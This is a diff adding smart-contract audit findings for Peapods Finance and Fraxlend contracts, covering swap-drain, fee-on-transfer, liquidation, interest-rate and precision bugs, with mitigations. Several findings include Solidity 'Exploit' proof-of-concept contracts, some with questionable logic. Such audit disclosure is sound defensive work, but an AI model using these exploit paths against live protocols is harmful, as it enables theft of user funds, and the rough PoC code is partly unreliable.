+ ISwapRouter02(V3_ROUTER).exactInputSingle(
+ ISwapRouter02.ExactInputSingleParams({
+ tokenIn: _tokenIn,
+ tokenOut: _tokenOut,
+ fee: _fee,
+ recipient: _recipient,
+ amountIn: _amountIn,
+ amountOutMinimum: _amountOutMin,
+ sqrtPriceLimitX96: 0
+ })
+ );
+ return IERC20(_tokenOut).balanceOf(_recipient) - _outBefore;
+ }
+```
diff --git a/364.md b/364.md
new file mode 100644
index 0000000..d3cb66f
--- /dev/null
+++ b/364.md
@@ -0,0 +1,87 @@
+Striped Champagne Pig
+
+High
+
+# Wrong logic in `CamelotDexAdapter::swapV2Single` could grief the protocol through loss of funds
+
+## Impact
+### Summary
+The `CamelotDexAdapter::swapV2Single` function allows a user to swap some amounts of one token, say `tokenIn` in exchange for some amounts of another token, say `tokenOut`. However, a user can get some amounts of `tokenOut` without sending any amounts of `tokenIn` to the protocol. This results in a loss of funds for the protocol.
+
+### Vulnerability Details
+The vulnerability lies in the fact that if a user specifies a value greater than zero for `tokenIn`, the said amount is transfered from the user to the protocol. However, when a user specifies zero as the amount of `tokenIn`, no amount of `tokenIn` is transfered from the user to the protocol whereas `tokenOut` is transfered to the user.
+
+This vulnerability can be seen [here](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/dex/CamelotDexAdapter.sol#L32-L53) or by taking a look at the code snippet below.
+
+```javascript
+ function swapV2Single(
+ address _tokenIn,
+ address _tokenOut,
+ uint256 _amountIn,
+ uint256 _amountOutMin,
+ address _recipient
+ ) external virtual override returns (uint256 _amountOut) {
+ uint256 _outBefore = IERC20(_tokenOut).balanceOf(_recipient);
+ if (_amountIn == 0) {
+41: _amountIn = IERC20(_tokenIn).balanceOf(address(this));
+ } else {
+43: IERC20(_tokenIn).safeTransferFrom(_msgSender(), address(this), _amountIn); // @audit-note this only executes if _amountIn specified by user is not zero
+ }
+ address[] memory _path = new address[](2);
+ _path[0] = _tokenIn;
+ _path[1] = _tokenOut;
+ IERC20(_tokenIn).safeIncreaseAllowance(V2_ROUTER, _amountIn);
+ IUniswapV2Router02(V2_ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens(
+ _amountIn, _amountOutMin, _path, _recipient, block.timestamp
+ );
+ return IERC20(_tokenOut).balanceOf(_recipient) - _outBefore;
+ }
+```
+
+
+### Impact
+A malicious user can drain the protocol of funds by specifying `_amountIn = 0` in the `CamelotDexAdapter::swapV2Single` function. From the computation on line 41 in the code snippet above, the protocol assumes the user has deposited `_tokenIn.balanceOf(address(this))`, calculates the equivalent amount of `_tokenOut` and sends to the user.
+
+## Proof of Concept
+
+1. `userA` calls the `CamelotDexAdapter::swapV2Single` function while specifying `_amountIn` as `0`
+2. `userA` gets some amount of `_tokenOut` corresponding to all the amount of `_tokenIn` in the protocol without sending any amount of `_tokenIn` into the protocol.
+
+
+## Tools Used
+
+Manual Review
+
+
+## Recommended Mitigation Steps
+Recommendation is to carry out the below two steps:
+1. Remove the `else` statement so that line 72 in the code snippet above executes irrespective of the value passed in by the user for `_amountIn`.
+2. modify line 70 in the code snippet above to `_amountIn = IERC20(_tokenIn).balanceOf(_msgSender());` to avoid reverts on line 72 when the user balance is less than the protocol balance. (This recommendation assumes that the protocol implies that a value of `_amountIn = 0` means the user intends to swap all the `_tokenIn` in their balance)
+
+```diff
+ function swapV2Single(
+ address _tokenIn,
+ address _tokenOut,
+ uint256 _amountIn,
+ uint256 _amountOutMin,
+ address _recipient
+ ) external virtual override returns (uint256 _amountOut) {
+ uint256 _outBefore = IERC20(_tokenOut).balanceOf(_recipient);
+ if (_amountIn == 0) {
+- _amountIn = IERC20(_tokenIn).balanceOf(address(this));
++ _amountIn = IERC20(_tokenIn).balanceOf(_msgSender());
++ }
+- } else {
+- IERC20(_tokenIn).safeTransferFrom(_msgSender(), address(this), _amountIn);
+- }
++ IERC20(_tokenIn).safeTransferFrom(_msgSender(), address(this), _amountIn);
+ address[] memory _path = new address[](2);
+ _path[0] = _tokenIn;
+ _path[1] = _tokenOut;
+ IERC20(_tokenIn).safeIncreaseAllowance(V2_ROUTER, _amountIn);
+ IUniswapV2Router02(V2_ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens(
+ _amountIn, _amountOutMin, _path, _recipient, block.timestamp
+ );
+ return IERC20(_tokenOut).balanceOf(_recipient) - _outBefore;
+ }
+```
diff --git a/365.md b/365.md
new file mode 100644
index 0000000..4ceb89c
--- /dev/null
+++ b/365.md
@@ -0,0 +1,95 @@
+Striped Champagne Pig
+
+High
+
+# Wrong logic in `CamelotDexAdapter::swapV2SingleExactOut` allows a user to drain the protocol of funds
+
+## Impact
+### Summary
+The `CamelotDexAdapter::swapV2SingleExactOut` function allows a user to swap some amounts of one token, say `tokenIn` in exchange for some amounts of another token, say `tokenOut`. However, a user can get some amounts of `tokenOut` without sending any amounts of `tokenIn` to the protocol. This results in a loss of funds for the protocol.
+
+### Vulnerability Details
+The vulnerability lies in the fact that if a user specifies a value greater than zero for `tokenIn`, the said amount is transfered from the user to the protocol. However, when a user specifies zero as the amount of `tokenIn`, no amount of `tokenIn` is transfered from the user to the protocol whereas `tokenOut` is transfered to the user.
+
+This vulnerability can be seen [here](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/dex/CamelotDexAdapter.sol#L55-L78) or by taking a look at the code snippet below.
+
+```javascript
+ function swapV2SingleExactOut(
+ address _tokenIn,
+ address _tokenOut,
+ uint256 _amountInMax,
+ uint256 _amountOut,
+ address _recipient
+ ) external virtual override returns (uint256 _amountInUsed) {
+ uint256 _inBefore = IERC20(_tokenIn).balanceOf(address(this));
+ if (_amountInMax == 0) {
+64: _amountInMax = IERC20(_tokenIn).balanceOf(address(this));
+ } else {
+66: IERC20(_tokenIn).safeTransferFrom(_msgSender(), address(this), _amountInMax);
+ }
+ address[] memory _path = new address[](2);
+ _path[0] = _tokenIn;
+ _path[1] = _tokenOut;
+ IERC20(_tokenIn).safeIncreaseAllowance(V2_ROUTER, _amountInMax);
+ IUniswapV2Router02(V2_ROUTER).swapTokensForExactTokens(
+ _amountOut, _amountInMax, _path, _recipient, block.timestamp
+ );
+ uint256 _inRemaining = IERC20(_tokenIn).balanceOf(address(this)) - _inBefore;
+ if (_inRemaining > 0) {
+ IERC20(_tokenIn).safeTransfer(_msgSender(), _inRemaining);
+ }
+ _amountInUsed = _amountInMax - _inRemaining;
+ }
+```
+
+
+### Impact
+A malicious user can drain the protocol of funds by specifying `_amountInMax = 0` in the `CamelotDexAdapter::swapV2SingleExactOut` function. From the computation on line 64 in the code snippet above, the protocol assumes the user has deposited `_tokenIn.balanceOf(address(this))`, calculates the equivalent amount of `_tokenOut` and sends to the user.
+
+## Proof of Concept
+
+1. `userA` calls the `CamelotDexAdapter::swapV2SingleExactOut` function while specifying `_amountInMax` as `0`
+2. `userA` gets some amount of `_tokenOut` corresponding to all the amount of `_tokenIn` in the protocol without sending any amount of `_tokenIn` into the protocol.
+
+
+## Tools Used
+
+Manual Review
+
+
+## Recommended Mitigation Steps
+Recommendation is to carry out the below two steps:
+1. Remove the `else` statement so that line 66 in the code snippet above executes irrespective of the value passed in by the user for `_amountInMax`.
+2. modify line 64 in the code snippet above to `_amountInMax = IERC20(_tokenIn).balanceOf(_msgSender());` to avoid reverts on line 66 when the user balance is less than the protocol balance. (This recommendation assumes that the protocol implies that a value of `_amountInMax = 0` means the user intends to swap all the `_tokenIn` in their balance)
+
+```diff
+ function swapV2SingleExactOut(
+ address _tokenIn,
+ address _tokenOut,
+ uint256 _amountInMax,
+ uint256 _amountOut,
+ address _recipient
+ ) external virtual override returns (uint256 _amountInUsed) {
+ uint256 _inBefore = IERC20(_tokenIn).balanceOf(address(this));
+ if (_amountInMax == 0) {
+- _amountInMax = IERC20(_tokenIn).balanceOf(address(this));
++ _amountInMax = IERC20(_tokenIn).balanceOf(_msgSender());
++ }
+- } else {
+- IERC20(_tokenIn).safeTransferFrom(_msgSender(), address(this), _amountInMax);
+- }
++ IERC20(_tokenIn).safeTransferFrom(_msgSender(), address(this), _amountInMax);
+ address[] memory _path = new address[](2);
+ _path[0] = _tokenIn;
+ _path[1] = _tokenOut;
+ IERC20(_tokenIn).safeIncreaseAllowance(V2_ROUTER, _amountInMax);
+ IUniswapV2Router02(V2_ROUTER).swapTokensForExactTokens(
+ _amountOut, _amountInMax, _path, _recipient, block.timestamp
+ );
+ uint256 _inRemaining = IERC20(_tokenIn).balanceOf(address(this)) - _inBefore;
+ if (_inRemaining > 0) {
+ IERC20(_tokenIn).safeTransfer(_msgSender(), _inRemaining);
+ }
+ _amountInUsed = _amountInMax - _inRemaining;
+ }
+```
diff --git a/369.md b/369.md
new file mode 100644
index 0000000..75edfbe
--- /dev/null
+++ b/369.md
@@ -0,0 +1,84 @@
+Perfect Porcelain Snail
+
+High
+
+# Mismatched precision scaling in getConversionFactor() leading to incorrect minting for voting power
+
+### Summary
+
+The mismatched precision scaling in the `getConversionFactor()` function causes an incorrect mint amount during token minting. This leads to a disproportionate voting power.
+
+### Root Cause
+
+`getConversionFactor()` function follows correctly how to [Pricing LP tokens](https://cmichel.io/pricing-lp-tokens/) except it miss some precision scaling.
+
+In the [getConversionFactor()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/voting/ConversionFactorSPTKN.sol#L29C14-L29C33) function, the precision scaling is handled incorrectly :
+
+- The calculation of `_avgTotalPeasInLpX96`:
+ ```solidity
+ uint256 _avgTotalPeasInLpX96 = _sqrt(_pricePPeasNumX96 * _k) * 2 ** (96 / 2);
+ ```
+ omits necessary division/scaling, resulting in an excessively inflated value as it fails to account for the LP tokens reserve decimals.
+
+- The derived conversion factor:
+ ```solidity
+ _factor = (_avgTotalPeasInLpX96 * 2) / IERC20(_lpTkn).totalSupply();
+ ```
+ does not correctly account for the required decimal multiplication. This leads to a miscalculation of the minting amount used in vote allocation.
+
+This issue is highlighted when compared with the correct approach implemented in [spTKNMinimalOracle.sol](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L145), where proper precision scaling is applied.
+
+### Internal Pre-conditions
+
+N/A
+
+### External Pre-conditions
+
+N/A
+
+### Attack Path
+
+1. Call `stake()`
+2. The `getConversionFactor()` function is called, which miscomputes the conversion factor due to improper precision scaling.
+
+### Impact
+
+This miscalculation leads to wrong voting power allocated to each stakeholder within the protocol.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+To solve this issue, the precision scaling in `getConversionFactor()` must be adjusted as demonstrated in [spTKNMinimalOracle.sol](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L145) :
+
+```Diff
++ import "../interfaces/IUniswapV2Pair.sol";
+
+ /// @notice several assumptions here, that pairedLpToken is a stable, and that any stable
+ /// that may be paired are priced the same.
+ function getConversionFactor(address _spTKN)
+ external
+ view
+ override
+ returns (uint256 _factor, uint256 _denomenator)
+ {
+ (uint256 _pFactor, uint256 _pDenomenator) = _calculateCbrWithDen(IStakingPoolToken(_spTKN).INDEX_FUND());
+ address _lpTkn = IStakingPoolToken(_spTKN).stakingToken();
+ address _token1 = IUniswapV3Pool(PEAS_STABLE_CL_POOL).token1();
+ uint160 _sqrtPriceX96 = TWAP_UTILS.sqrtPriceX96FromPoolAndInterval(PEAS_STABLE_CL_POOL);
+ uint256 _priceX96 = TWAP_UTILS.priceX96FromSqrtPriceX96(_sqrtPriceX96);
+ uint256 _pricePeasNumX96 = _token1 == PEAS ? _priceX96 : FixedPoint96.Q96 ** 2 / _priceX96;
+ uint256 _pricePPeasNumX96 = (_pricePeasNumX96 * _pFactor) / _pDenomenator;
+ (uint112 _reserve0, uint112 _reserve1) = V2_RESERVES.getReserves(_lpTkn);
+ uint256 _k = uint256(_reserve0) * _reserve1;
++ uint256 _kDec = 10 ** IERC20(IUniswapV2Pair(_lpTkn).token0()).decimals()
++ * 10 ** IERC20(IUniswapV2Pair(_lpTkn).token1()).decimals();
+ uint256 _avgTotalPeasInLpX96 = _sqrt(_pricePPeasNumX96 * _k) * 2 ** (96 / 2);
+
+- _factor = (_avgTotalPeasInLpX96 * 2) / IERC20(_lpTkn).totalSupply();
++ _factor = (_avgTotalPeasInLpX96 * 2 * 10 ** IERC20(_lpTkn).decimals()) / IERC20(_lpTkn).totalSupply();
+ _denomenator = FixedPoint96.Q96;
+ }
+```
\ No newline at end of file
diff --git a/370.md b/370.md
new file mode 100644
index 0000000..b55bd69
--- /dev/null
+++ b/370.md
@@ -0,0 +1,83 @@
+Spicy Pear Grasshopper
+
+Medium
+
+# Token bridge burns incorrect amount when bridging fee-on-transfer tokens
+
+### Summary
+
+[_processInboundTokens()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/ccip/TokenBridge.sol#L96-L107) will burn the pre-transfer amount instead of the post-transfer amount when bridging fee-on-transfer tokens, leading to an incorrect burn amount that doesn't match the actual tokens received.
+
+
+### Root Cause
+
+In [TokenBridge.sol:104](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/ccip/TokenBridge.sol#L104) the gross `_amount` is used instead of `_amountAfter` which nets out any fees.
+
+### Internal Pre-conditions
+
+1. `sourceTokenMintBurn` must be set to be true on the config
+
+
+
+### External Pre-conditions
+
+1. ERC20 token needs to implement a fee mechanism that reduces the received amount compared to the transfer amount
+2. ERC20 token needs to be approved by the user to the bridge contract for at least the desired transfer amount
+
+### Attack Path
+
+1. User attempts to bridge 1000 tokens with a 2% transfer fee
+2. Bridge contract receives 980 tokens due to the fee
+3. Bridge contract burns 1000 tokens instead of 980
+4. Destination chain mints based on the _amountAfter (980)
+5. The total supply decreases by more than the actual bridged amount
+
+### Impact
+
+The protocol will burn more tokens than were actually bridged, permanently reducing the token supply by the difference between pre and post transfer amounts. This affects token economics and can lead to supply inconsistencies between chains.
+For a token with a 2% transfer fee:
+
+- User transfers 1000 tokens
+- Bridge receives 980 tokens
+- Bridge burns 1000 tokens
+- Destination mints 980 tokens
+- Net result: 20 tokens permanently removed from supply
+
+The percentage loss scales with the transfer fee amount and total bridged amount. While individual transactions may have small impacts, the cumulative effect across many transactions could be significant.
+
+### PoC
+
+```solidity
+contract TestFeeToken is IERC20Bridgeable {
+ uint256 public constant FEE = 20; // 2% fee
+
+ function transferFrom(address from, address to, uint256 amount) external returns (bool) {
+ uint256 feeAmount = (amount * FEE) / 1000;
+ uint256 actualTransfer = amount - feeAmount;
+ // Transfer actualTransfer amount to recipient
+ return true;
+ }
+}
+
+function testBridgeFeeToken() public {
+ TestFeeToken token = new TestFeeToken();
+ uint256 initialSupply = token.totalSupply();
+
+ bridge._processInboundTokens(address(token), user, 1000, true);
+
+ // Bridge received 980 tokens but burned 1000
+ assertEq(token.totalSupply(), initialSupply - 1000); // Should be initialSupply - 980
+}
+```
+
+### Mitigation
+
+The burn amount should match the actual received amount that will be bridged. Update the burning logic to use the calculated `_amountAfter` value:
+
+```diff
+if (_isMintBurn) {
+- IERC20Bridgeable(_token).burn(_amount);
++ IERC20Bridgeable(_token).burn(_amountAfter);
+}
+return _amountAfter;
+```
diff --git a/371.md b/371.md
new file mode 100644
index 0000000..8ee2423
--- /dev/null
+++ b/371.md
@@ -0,0 +1,112 @@
+Muscular Peanut Iguana
+
+Medium
+
+# Incorrect Dirty Liquidation Checks and Unsafe Collateral Handling Leading to Failed Liquidations
+
+### Summary
+
+The Fraxlend liquidation mechanism contains critical flaws:
+
+- Incorrect Dirty Liquidation Checks: Applies dirty liquidation thresholds to clean liquidations (full collateral seizure), causing unnecessary reverts.
+
+- Unsafe Signed/Unsigned Conversions: Uses int256 for collateral calculations without proper checks, risking unexpected reverts.
+
+**Code Snippets**
+Incorrect Dirty Liquidation Check:
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L1179-L1180
+**Issue:** Applies the check even when _leftoverCollateral is negative (clean liquidation).
+
+Unsafe Signed Conversion:
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L1145
+**Issue:** No checks for _userCollateralBalance < _optimisticCollateralForLiquidator, leading to negative values.
+
+
+
+### Root Cause
+
+**Misapplied Dirty Liquidation Threshold:**
+The check _leftoverCollateral < minCollateralRequiredOnDirtyLiquidation is triggered even during clean liquidations (full collateral seizure).
+
+**Lack of Contextual Checks:**
+Negative _leftoverCollateral (indicating clean liquidation) is not excluded from the dirty liquidation check.
+
+### Internal Pre-conditions
+
+minCollateralRequiredOnDirtyLiquidation is set to a non-zero value (e.g., 5 ETH).
+
+Borrower’s position is near maximum LTV.
+
+### External Pre-conditions
+
+Oracle reports a price drop, triggering undercollateralization.
+
+
+
+### Attack Path
+
+**Borrower Creates Position:**
+Deposits 100 ETH collateral and borrows 99 ETH (99% LTV).
+
+**Collateral Price Drops:**
+Oracle reports a price drop, making the position undercollateralized.
+
+**Liquidator Attempts Clean Liquidation:**
+Liquidator repays 99 ETH debt to seize all 100 ETH collateral.
+
+**Transaction Reverts:**
+The code calculates _leftoverCollateral = -1 and erroneously triggers BadDirtyLiquidation revert.
+
+
+
+### Impact
+
+1. Failed Liquidations: Legitimate liquidations revert, leaving undercollateralized positions unresolved.
+
+2. Protocol Insolvency Risk: Unresolved bad debt accumulates, threatening protocol solvency.
+
+### PoC
+
+```solidity
+// Exploit: Trigger incorrect dirty liquidation check during clean liquidation
+contract Exploit {
+ FraxlendPair pair = FraxlendPair(0x...);
+ IERC20 asset = IERC20(pair.asset());
+ IERC20 collateral = IERC20(pair.collateralContract());
+
+ function attack() external {
+ // Step 1: Deposit 100 ETH collateral and borrow 99 ETH (99% LTV)
+ collateral.approve(address(pair), 100e18);
+ pair.addCollateral(100e18, address(this));
+ pair.borrowAsset(99e18, 0, address(this));
+
+ // Step 2: Trigger price drop to make position undercollateralized
+ // ... manipulate oracle ...
+
+ // Step 3: Attempt full liquidation (repay 99 ETH debt)
+ uint128 sharesToLiquidate = pair.userBorrowShares(address(this));
+ pair.liquidate(sharesToLiquidate, block.timestamp + 1 hours, address(this));
+
+ // Result:
+ // _leftoverCollateral = 100 ETH - (99 ETH * exchangeRate) → negative value
+ // Code erroneously checks negative _leftoverCollateral < minCollateralRequiredOnDirtyLiquidation → revert
+ }
+}
+```
+
+### Mitigation
+
+1. Exclude Clean Liquidations from Dirty Checks:
+```solidity
+else if (_leftoverCollateral > 0 && _leftoverCollateral < minCollateralRequiredOnDirtyLiquidation.toInt256()) {
+ revert BadDirtyLiquidation();
+}
+```
+
+2. Use SafeCast for Signed Conversions:
+```solidity
+import {SafeCast} from "@openzeppelin/contracts/utils/math/SafeCast.sol";
+int256 _leftoverCollateral = SafeCast.toInt256(_userCollateralBalance) - SafeCast.toInt256(_optimisticCollateralForLiquidator);
+```
+3. Clarify Liquidation Context:
+Separate logic for clean (full collateral seizure) vs. dirty (partial) liquidations.
\ No newline at end of file
diff --git a/372.md b/372.md
new file mode 100644
index 0000000..c218cd7
--- /dev/null
+++ b/372.md
@@ -0,0 +1,139 @@
+Muscular Peanut Iguana
+
+Medium
+
+# Unbounded Interest Rates and Utilization Manipulation Leading to Borrower Insolvency
+
+### Summary
+
+The Fraxlend interest rate models (LinearInterestRate and VariableInterestRate) contain critical vulnerabilities:
+
+**Unbounded Interest Rates**: Rates can escalate to 146,248% APY, causing instant borrower insolvency.
+
+**Utilization Manipulation:** Attackers can artificially inflate utilization to trigger extreme rates.
+
+**Overflow Risks:** VariableInterestRate uses unsafe exponentials (1e36) without overflow checks.
+
+
+**Unbounded Rates in LinearInterestRate:**
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/LinearInterestRate.sol#L34
+```solidity
+function getNewRate(...) returns (uint64 _newRatePerSec) {
+ // No cap on _newRatePerSec
+}
+```
+Issue : Rates can reach MAX_INT, far exceeding sustainable levels.
+
+**Overflow Risk in VariableInterestRate:**
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/VariableInterestRate.sol#L124
+Issue: No SafeMath; _deltaUtilization^2 * _deltaTime could overflow.
+
+**Utilization Calculation:**
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L401-L402
+
+Issue : Borrowers can manipulate totalBorrow.amount to spike utilization.
+
+### Root Cause
+
+
+
+
+**Lack of Rate Caps:**
+
+LinearInterestRate allows rates up to 146,248% APY.
+
+VariableInterestRate has no hard cap, relying on governance to set bounds.
+
+**Utilization Manipulation:**
+
+Borrowers can inflate utilization by depositing/withdrawing large amounts, triggering rate spikes.
+
+**Unsafe Exponentiation:**
+
+VariableInterestRate uses 1e36 without overflow checks.
+
+### Internal Pre-conditions
+
+Protocol uses LinearInterestRate or VariableInterestRate with high rate ceilings.
+
+Low liquidity in the target market (e.g., <$1M).
+
+### External Pre-conditions
+
+Attacker has capital to manipulate utilization.
+
+### Attack Path
+
+**Inflate Utilization:**
+
+Attacker deposits a large amount, borrows 90% of pool assets, increasing utilization to 90%.
+
+**Trigger Rate Spike:**
+
+High utilization causes VariableInterestRate to exponentially increase rates.
+
+**Force Liquidations:**
+
+Legitimate borrowers cannot repay debt due to skyrocketing interest, leading to mass liquidations.
+
+### Impact
+
+1. Borrower Insolvency: Rates exceeding 100,000% APY make debt repayment impossible.
+
+2. Liquidation Cascades: Attackers profit by liquidating underwater positions.
+
+3. Protocol Insolvency: Reserve depletion from unrepaid loans.
+
+### PoC
+
+```solidity
+// Exploit: Trigger 100,000% APY via utilization manipulation
+contract Exploit {
+ FraxlendPair pair = FraxlendPair(0x...);
+ IERC20 asset = IERC20(pair.asset());
+ IERC20 collateral = IERC20(pair.collateralContract());
+
+ function attack() external {
+ // Step 1: Add collateral (e.g., 1000 ETH)
+ collateral.approve(address(pair), 1000e18);
+ pair.addCollateral(1000e18, address(this));
+
+ // Step 2: Deposit 1000 ETH to enable borrowing
+ asset.approve(address(pair), 1000e18);
+ pair.deposit(1000e18, address(this));
+
+ // Step 3: Borrow 900 ETH (90% utilization)
+ pair.borrowAsset(900e18, 0, address(this));
+
+ // Step 4: Wait for interest to compound (e.g., 1 day)
+ uint256 startTime = block.timestamp;
+ while (block.timestamp < startTime + 1 days) {
+ pair.addInterest(true); // Accelerate rate compounding
+ }
+
+ // Step 5: Victim positions are underwater; liquidate
+ pair.liquidate(maxShares, deadline, victim);
+ }
+}
+```
+
+### Mitigation
+
+1. Cap Interest Rates:
+```solidity
+// LinearInterestRate.sol (Modified)
+uint256 private constant MAX_APY = 1000e18; // 1000% APY cap
+function getNewRate(...) returns (uint64) {
+ _newRatePerSec = ...;
+ require(_newRatePerSec * 31536000 <= MAX_APY, "Rate cap exceeded");
+}
+```
+
+2. Use SafeMath for Exponentiation:
+```solidity
+// VariableInterestRate.sol (Modified)
+using SafeMath for uint256;
+_decayGrowth = (RATE_HALF_LIFE.mul(1e36)).add(_deltaUtilization.pow(2).mul(_deltaTime));
+```
+3. Smooth Utilization:
+Track time-weighted average utilization to prevent manipulation.
diff --git a/373.md b/373.md
new file mode 100644
index 0000000..2ffe663
--- /dev/null
+++ b/373.md
@@ -0,0 +1,101 @@
+Muscular Peanut Iguana
+
+High
+
+# Critical Accounting Error Due to Fee-on-Transfer Token Handling
+
+### Summary
+
+Fraxlend’s deposit() and repayAsset() functions do not account for ERC-20 tokens with transfer fees, leading to inflated shares and undercollateralized loans. Attackers can exploit this to drain protocol assets or evade debt repayment.
+
+**Missing Balance Checks:**
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L578-L610
+**Issue:** The code mints shares based on _amount, not the actual received tokens.
+
+**Same Issue in repayAsset():**
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L1023-L1052
+**Issue:** Debt is reduced by _amountToRepay, ignoring transfer fees.
+
+### Root Cause
+
+**Lack of Balance Checks:**
+Functions like deposit() and repayAsset() calculate shares/debt based on the sent amount (_amount), not the received amount after fees.
+
+**Assumption of Standard ERC-20 Compliance:**
+The protocol assumes all tokens have no transfer fees, violating ERC-20’s optional fee flexibility.
+
+### Internal Pre-conditions
+
+Protocol allows fee-on-transfer tokens (not explicitly blacklisted).
+
+Users can deposit/repay with arbitrary ERC-20 tokens.
+
+### External Pre-conditions
+
+Attacker uses a token with transfer fees (e.g., STA).
+
+### Attack Path
+
+**Seed the Pool:**
+A victim deposits 100 tokens (no fee), creating a baseline of 100 assets and 100 shares.
+
+**Attacker Deposits:**
+Deposits 100 tokens (2% fee → 98 received).
+ Total assets = 198, shares = 200.
+
+**Redeem Shares:**
+Attacker redeems 200 shares → 198 tokens (98 stolen from victim).
+
+### Impact
+
+1. Protocol Insolvency: Attackers drain liquidity by exploiting inflated shares.
+
+2. Debt Evasion: Borrowers repay less than owed, leaving loans undercollateralized.
+
+### PoC
+
+```solidity
+// Exploit: Steal funds via fee-on-transfer token deposits
+contract Exploit {
+ IERC20 feeToken = IERC20(0xSTA...); // Token with 2% fee
+ FraxlendPair pair = FraxlendPair(0x...);
+
+ function attack() external {
+ // Step 1: Seed the pool with initial liquidity (e.g., from a victim)
+ feeToken.transfer(address(pair), 100e18);
+ pair.deposit(100e18, address(this)); // Victim deposits 100 tokens
+
+ // Step 2: Attacker deposits 100 tokens (protocol receives 98)
+ feeToken.approve(address(pair), 100e18);
+ pair.deposit(100e18, address(this)); // Mints shares for 100 tokens
+
+ // Step 3: Redeem all shares (198 tokens total)
+ pair.redeem(pair.balanceOf(address(this)), address(this), address(this));
+ }
+}
+```
+
+### Mitigation
+
+1. Track Received Tokens:
+```solidity
+function _deposit(...) internal {
+ uint256 balanceBefore = assetContract.balanceOf(address(this));
+ assetContract.safeTransferFrom(msg.sender, address(this), _amount);
+ uint256 received = assetContract.balanceOf(address(this)) - balanceBefore;
+ _sharesReceived = _totalAsset.toShares(received, false);
+}
+```
+2. Whitelist Compliant Tokens:
+Use a factory pattern to deploy pairs only for tokens without fees.
+
+3. Add Fee Detection:
+```solidity
+function isFeeOnTransfer(address token) external returns (bool) {
+ uint256 balanceBefore = IERC20(token).balanceOf(address(this));
+ IERC20(token).safeTransferFrom(msg.sender, address(this), 1e18);
+ uint256 balanceAfter = IERC20(token).balanceOf(address(this));
+ return (balanceAfter - balanceBefore) < 1e18;
+}
+```
\ No newline at end of file
diff --git a/374.md b/374.md
new file mode 100644
index 0000000..d54fdbb
--- /dev/null
+++ b/374.md
@@ -0,0 +1,55 @@
+Huge Cyan Cod
+
+Medium
+
+# Utilization rate change can be sandwiched in lending vault for profit
+
+### Summary
+
+Utilization rate change can be sandwiched in lending vault for profit
+
+### Root Cause
+
+In [FraxlendPairCore contract](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L313C1-L316C12), `addInterest` function only updates the interest when the specific utilization rate exceeds.
+
+```solidity
+ if (
+ _currentUtilizationRate != 0
+ && _rateChange < _currentUtilizationRate * minURChangeForExternalAddInterest / UTIL_PREC
+ ) {
+ emit SkipAddingInterest(_rateChange);
+ } else {
+ (, _interestEarned, _feesAmount, _feesShare, _currentRateInfo) = _addInterest();
+ }
+```
+
+This is a design choice by protocol in order to save gas but it's unacceptable because it will give opportunity for attackers to make profit from this situation and this profit will cause loss of funds for the other users in the pool.
+
+Simply, attacker needs to track the interest accruals and utilization changes in time period and whenever it reachs to borderline point, he can deposit assets to vault and then he can withdraw back his assets because the utilization rate will exceed the threshold to trigger interest accrual and the attacker will directly make a profit from this action.
+
+
+
+### Internal Pre-conditions
+
+No conditions needed
+
+### External Pre-conditions
+
+No conditions needed
+
+### Attack Path
+
+1. Attacker tracks the lending pair's state
+2. Whenever utilization rate change becomes closer to threshold, he will deposit to lending vault
+3. In the next block `addInterest` function will trigger interest accrual and attacker can make profit by withdrawing back the shares
+
+### Impact
+
+Actually, attacker gets share from a cheap price at the first action. Because normally, interest accrual should be simulated and then reftected to the lending vault in order to generate a correct result. But instead, it only updates the interest value at specific utilization change points.
+
+Attacker can directly make profit from this attack vector and it will create unfair share distribution for the lending vault. In order to give an example of impact, let say an user depositted to lending vault in order to get some interest from lending pair. Let say interest accrual can trigger utilization rate change threshold after 1 hour later. It means this user can get his interest after minimum 1 hour later. But attacker can directly get the same interest profit by just depositting just before interest accrual.
+
+
+### Mitigation
+
+Update the interest no matter utilization rate change
\ No newline at end of file
diff --git a/375.md b/375.md
new file mode 100644
index 0000000..2043ef8
--- /dev/null
+++ b/375.md
@@ -0,0 +1,72 @@
+Huge Cyan Cod
+
+High
+
+# Incorrect calculation of vault utilization value may cause loss of funds for the lending vault users in bad debt scenario
+
+### Summary
+
+Incorrect calculation of vault utilization value will cause massive loss of funds for the lending vault users
+
+### Root Cause
+
+This issue happens due to incorrect calculation of vault utilization value in [Lending Vault contract](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L299). First of all, we calculate the percentage difference between the previous vault share value and current vault share value.
+
+```solidity
+ function _updateAssetMetadataFromVault(address _vault) internal {
+ uint256 _prevVaultCbr = _vaultWhitelistCbr[_vault];
+ _vaultWhitelistCbr[_vault] = IERC4626(_vault).convertToAssets(PRECISION);
+ if (_prevVaultCbr == 0) {
+ return;
+ }
+&> uint256 _vaultAssetRatioChange = _prevVaultCbr > _vaultWhitelistCbr[_vault]
+ ? ((PRECISION * _prevVaultCbr) / _vaultWhitelistCbr[_vault]) - PRECISION
+ : ((PRECISION * _vaultWhitelistCbr[_vault]) / _prevVaultCbr) - PRECISION;
